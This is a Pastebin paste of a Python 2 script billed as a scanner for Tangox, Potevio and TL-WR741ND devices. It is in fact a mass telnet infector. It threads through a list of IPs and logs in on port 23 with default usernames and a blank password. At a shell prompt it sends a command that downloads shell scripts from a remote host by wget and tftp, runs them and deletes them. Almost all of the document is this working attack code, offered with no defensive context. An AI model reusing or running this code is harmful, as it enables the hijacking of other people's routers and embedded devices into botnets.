Advertisement
LNO_LiGhT

Tangox/potevio/TL-WR741ND Scanner By; LiGhT

Jan 19th, 2017
1,308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.67 KB | None | 0 0
  1. #!/usr/bin/python
  2. # tangox/potevio/TL-WR741ND Scanner By; LiGhT
  3. import threading
  4. import sys, os, re
  5. import time
  6. import random
  7. import socket
  8. from Queue import *
  9. from sys import stdout
  10.  
  11. if len(sys.argv) < 3:
  12.     print "Usage: python "+sys.argv[0]+" <list> <threads>"
  13.     sys.exit()
  14.  
  15. ips = open(sys.argv[1], "r").readlines()
  16. threads = int(sys.argv[2])
  17. queue = Queue()
  18. usernames = ["default", "daemon"]
  19. cmd = "cd /tmp || cd /var || cd /dev; wget http://1.1.1.1/bins.sh; tftp -r tftp2.sh -g 1.1.1.1; sh bins.sh; sh tftp2.sh; rm -rf *.sh"
  20. queueC = 0
  21.  
  22. for ip in ips:
  23.     queueC += 1
  24.     stdout.write("\r[%d] Added to queue" % queueC)
  25.     stdout.flush()
  26.     queue.put(ip)
  27. print "\n"
  28.  
  29. def worker():
  30.     try:
  31.         while True:
  32.             try:
  33.                 IP = queue.get()
  34.                 ball = pump(IP)
  35.                 ball.start()
  36.                 queue.task_done()
  37.                 time.sleep(0.05)
  38.             except:
  39.                 print "[*] THREAD UNABLE TO START" #may spam if finished
  40.                 pass
  41.     except:
  42.         pass
  43.    
  44. def readUntil(tn, string, timeout=11):
  45.     buf = ''
  46.     start_time = time.time()
  47.     while time.time() - start_time < timeout:
  48.         buf += tn.recv(2048)
  49.         time.sleep(0.01)
  50.         if string in buf: return buf
  51.     raise Exception('TIMEOUT!')
  52.  
  53. class pump(threading.Thread):
  54.     def __init__ (self, ip):
  55.         threading.Thread.__init__(self)
  56.         self.ip = str(ip).rstrip('\n')
  57.     def run(self):
  58.         try:
  59.             try:
  60.                 tn = socket.socket()
  61.                 tn.settimeout(8)
  62.                 tn.connect((self.ip,23))
  63.             except Exception:
  64.                 tn.close()
  65.             try:
  66.                 hoho = ''
  67.                 hoho += readUntil(tn, ":")
  68.                 if "ogin" in hoho:
  69.                     #print "[*] sending user"
  70.                     tn.send(usernames[0] + "\n")
  71.                     time.sleep(0.1)
  72.             except Exception:
  73.                 tn.close()
  74.             try:
  75.                 hoho = ''
  76.                 hoho += readUntil(tn, ":")
  77.                 if "assword" in hoho:
  78.                     #print "[*] sending new line"
  79.                     tn.send("\r\n\r\n")
  80.                 elif "ogin" in hoho:
  81.                     #print "[*] sending user"
  82.                     tn.send(usernames[1] + "\n")
  83.                     time.sleep(0.1)
  84.             except Exception:
  85.                 tn.close()
  86.             try:
  87.                 hoho = ''
  88.                 hoho += readUntil(tn, ":")
  89.                 if "ogin" in hoho:
  90.                     #print "[*] sending user"
  91.                     tn.send(usernames[1] + "\n")
  92.                     time.sleep(0.1)
  93.                 else:
  94.                     #print "[!] LOGIN FAILED %s"%(self.ip)
  95.                     tn.close()
  96.             except Exception:
  97.                 tn.close()
  98.             try:
  99.                 prompt = ''
  100.                 prompt += tn.recv(1024)
  101.                 if "#" in prompt or "$" in prompt or "default@tangox" in prompt:
  102.                     tn.send(cmd + "\n"); print "[%s] Command Sent"%(self.ip); time.sleep(12); tn.close()
  103.             except Exception:
  104.                 print "[%s] TIMEOUT"%(self.ip)
  105.                 tn.close()
  106.         except:
  107.             pass
  108.    
  109. for balls in xrange(threads):
  110.     try:
  111.         t = threading.Thread(target=worker)
  112.         t.start()
  113.         time.sleep(0.002)
  114.     except:
  115.         print "[$] FAILED TO START WORKER THREAD"
  116.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement